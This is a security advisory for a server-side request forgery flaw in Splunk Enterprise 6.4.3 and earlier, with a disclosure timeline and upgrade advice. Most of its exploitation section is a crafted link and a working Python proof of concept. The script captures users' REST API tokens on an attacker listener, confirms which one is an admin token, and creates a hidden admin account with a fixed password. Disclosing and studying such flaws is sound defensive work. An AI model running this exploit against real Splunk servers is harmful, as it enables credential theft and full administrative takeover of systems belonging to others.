Splunk Enterprise 6.4.3 – Server-Side Request Forgery
''' ( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Splunk Enterprise Server-Side Request Forgery Affected versions: Splunk Enterprise <= 6.4.3 PDF: http://security-assessment.com/files/documents/advisory/SplunkAdvisory.pdf +-----------+ |Description| +-----------+ The Splunk Enterprise application is affected by a server-side request forgery vulnerability. This vulnerability can be exploited by an attacker via social engineering or other vectors to exfiltrate authentication tokens for the Splunk REST API to an external domain. +------------+ |Exploitation| +------------+ ==Server-Side Request Forgery== A server-side request forgery (SSRF) vulnerability exists in the Splunk Enterprise web management interface within the Alert functionality. The application parses user supplied data in the GET parameter ‘alerts_id’ to construct a HTTP request to the splunkd daemon listening on TCP port 8089. Since no validation is carried out on the parameter, an attacker can specify an external domain and force the application to make a HTTP request to an arbitrary destination host. The issue is aggravated by the fact that the application includes the REST API token for the currently authenticated user within the Authorization request header. This vulnerability can be exploited via social engineering to obtain unauthorized access to the Splunk REST API with the same privilege level of the captured API token. [POC SSRF LINK] /en-US/alerts/launcher?eai%3Aacl.app=launcher&eai%3Aacl.owner=*&severity=*&alerts_id=[DOMAIN]&search=test The proof of concept below can be used to listen for SSRF connections and automatically create a malicious privileged user when an administrative token is captured. [POC - splunk-poc.py] ''' from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import httplib import ssl import requests token = '' class MyHandler(BaseHTTPRequestHandler): def do_GET(self): global token try: token = self.headers.get('Authorization')[7:] print "[+] Captured Splunk API token from GET request" except Exception, e: print "[-] No API token captured on incoming connection..." def adminTokenNotCaptured(): global token if token: query = "/services/authentication/httpauth-tokens/" + token conn = httplib.HTTPSConnection("<SPLUNK IP>", 8089, context=ssl._create_unverified_context()) conn.putrequest("GET", query) conn.putheader("Authorization", "Splunk %s" % token) conn.endheaders() context = conn.getresponse().read() if 'userName">admin' in context: print "[+] Confirmed Splunk API token belongs to admin user" print "[+] Admin Splunk API Token: %s" % token return False else: print "[!] Splunk API token does not belong to admin user" return True def poc(): global token create_user_uri = "https://<SPLUNK IP>:8089/services/authentication/users" params = {'name': 'infosec', 'password': 'password', 'roles': 'admin'} auth_header = {'Authorization': 'Splunk %s' % token} requests.packages.urllib3.disable_warnings() response = requests.post(url=create_user_uri, data=params, headers=auth_header, verify=False) if "<title>infosec" in response.content: print "[+] POC admin account 'infosec:password' successfully created" else: print "[-] No account was created" print response.content if __name__ == "__main__": try: print "[+] Starting HTTP Listener" server = HTTPServer(("", 8080), MyHandler) while adminTokenNotCaptured(): server.handle_request() poc() except KeyboardInterrupt: print "[+] Stopping HTTP Listener" server.socket.close() ''' +----------+ | Solution | +----------+ Update to Splunk 6.5.0 or later. Full information about all patched versions are provided in the reference links below. +------------+ | Timeline | +------------+ 24/08/2016 – Initial disclosure to vendor 25/08/2016 – Vendor acknowledges receipt of the advisory and confirms vulnerability. 28/09/2016 – Sent follow up email asking for status update 30/09/2016 – Vendor replies fixes are being backported to all supported versions of the software. 10/11/2016 – Vendor releases security advisory and patched software versions 09/12/2016 – Public disclosure +------------+ | Additional | +------------+ http://security-assessment.com/files/documents/advisory/SplunkAdvisory.pdf https://www.splunk.com/view/SP-CAAAPSR [SPL-128840] ''' |